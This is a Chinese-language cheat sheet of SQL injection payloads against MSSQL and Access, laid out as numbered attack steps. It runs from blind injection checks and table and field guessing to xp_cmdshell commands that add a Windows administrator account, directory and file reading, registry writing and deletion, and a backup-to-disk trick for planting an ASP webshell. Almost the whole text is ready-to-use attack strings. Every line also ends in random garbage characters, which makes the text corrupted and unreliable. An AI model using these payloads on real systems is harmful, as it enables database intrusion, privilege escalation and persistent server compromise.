1.判断是否有注入;and 1=1 ;and 1=2 EI+RF{IKh
2.初步判断是否是mssql ;and user>0 v)+E!"R3.
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3.注入参数是字符'and [查询条件] and ''=' `<Ry_}V
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' H?]%b!gQG
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5.判断数据库系统 ,|5|aVfh
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;and (select count(*) from sysobjects)>0 mssql ]iI2
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;and (select count(*) from msysobjects)>0 access }%^N9AA8
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 \kN?7b^
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 "2l$}G
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 7+(on
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9.(1)猜字段的ascii值(access) RA];hQI?
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 KM-d8^\:
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(2)猜字段的ascii值(mssql) 0H9UM*O
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 e\8|6<o[
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10.测试权限结构(mssql) k -V3l
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;?h+8Z/{
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- #gq!L
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Lg%3M8-W~
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- e=ITAH3b
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0<3->uK
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4UxxmREx;
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;and 1=(select IS_MEMBER('db_owner'));-- mz>GbImVD~
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11.添加mssql和系统的帐户 m;4qs#qCg?
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;exec master.dbo.sp_addlogin username;-- 3<
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;exec master.dbo.sp_password null,username,password;-- 1m~-q4D)V
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- BjSd\Ul
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;exec master.dbo.xp_cmdshell 'net user username password /:Q
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Of}dsav
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ljP<WD
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Fp&tJ]=B.
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12.(1)遍历目录
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;create table dirs(paths varchar(100), id int) *|4/XHi
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;insert dirs exec master.dbo.xp_dirtree 'c:\' p![UO I"W
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;and (select top 1 paths from dirs)>0 #E$*PAB
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) -UoTBvObAm
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(2)遍历目录 i5 0c N<o
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- z&c|2L-u6
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 |)65y
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 /O}lSXo6E
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 iLt2L;v>h
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3GL,=q
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13.mssql中的存储过程 U#G<cV79
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xp_regenumvalues 注册表根键, 子键 .TM.
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 X #>:9
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xp_regread 根键,子键,键值名 g#q7~#9
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;exec xp_regread U4NH9-U'
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Ea)=K'Pz
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xp_regwrite 根键,子键, 值名, 值类型, 值 |ju+{+
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 A<y]D.Z"
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 <{T5}"e
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xp_regdeletevalue 根键,子键,值名 P0/Ctke;
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ;4QE.&s`
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 jf.WmiDC
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14.mssql的backup创建webshell d%K&
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use model D}`MY\H
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create table cmd(str image); t$3B#=
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insert into cmd(str) values (''); "/yS HB[
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backup database model to disk='c:\l.asp'; *P/DDRq(2
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15.mssql内置函数 1QPz|3f@\
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;and (select @@version)>0 获得Windows的版本号 mT/^F{c
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^#t6/fY.#
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;and (select user_name())>0 爆当前系统的连接用户 h[;DRD!Z
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;and (select db_name())>0 得到当前连接的数据库 t`Rbn{
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16.简洁的webshell nvCp-Z$
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use model 'jXJ!GFw
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create table cmd(str image); !>N+a3
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insert into cmd(str) values (''); vJ{F)0 K
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backup database model to disk='g:\wwwtest\l.asp';